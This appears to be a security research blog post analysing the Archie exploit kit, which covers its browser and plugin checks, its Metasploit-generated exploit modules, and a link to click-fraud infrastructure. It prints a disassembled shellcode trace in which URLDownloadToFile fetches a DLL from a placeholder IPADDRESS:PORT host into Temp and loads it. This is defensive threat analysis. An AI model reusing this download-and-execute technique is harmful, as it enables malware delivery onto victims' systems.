We have previously described how Exploit Kits are some of the favorite techniques used by cybercriminals to install malicious software on victims' systems.
The number of Exploit Kits available has experienced exponential growth in the last few years. Since Blackhole’s author was arrested in 2013, the number of Exploit Kits has increased - including Neutrino, Magnitude, Nuclear, Rig and Angler. In this blog post we discuss Archie, an Exploit Kit that was first discovered by William Metcalf.
It also uses the following trick to check whether or not the system is running a 64-bit version of Internet Explorer. We documented this trick in previous blog posts.
Depending on the Silverlight, Internet Explorer and Flash versions, it will try to load a different exploit module including:
Archie contains shellcode in different formats that is sent to the different exploit modules generated by Metasploit when it loads them.
If we disassemble the shellcode we can see it is a basic download and execute payload.
401089 VirtualAlloc(base=0 , sz=400) = 60000
4010ce GetTempPath(len=104, buf=60000) = 14
4010a7 URLDownloadToFile(http://IPADDRESS:PORT/dd, C:\users\user\Temp\e.dll)
The shellcode downloads a DLL from the webserver, writes it in \Users\[Current_user]\Temp\e.dll and then loads it.
The IP address where the Archie Exploit Kit is hosted, and the piece of malware delivered, is also being used for click fraud operations. It is related to this research published by Kimberly on the click fraud bot
http://stopmalvertising.com/malware-reports/anatomy-of-a-net-click-fraud-bot.html [no longer available].
Following is the list of hashes that we have found connecting to the same C&C: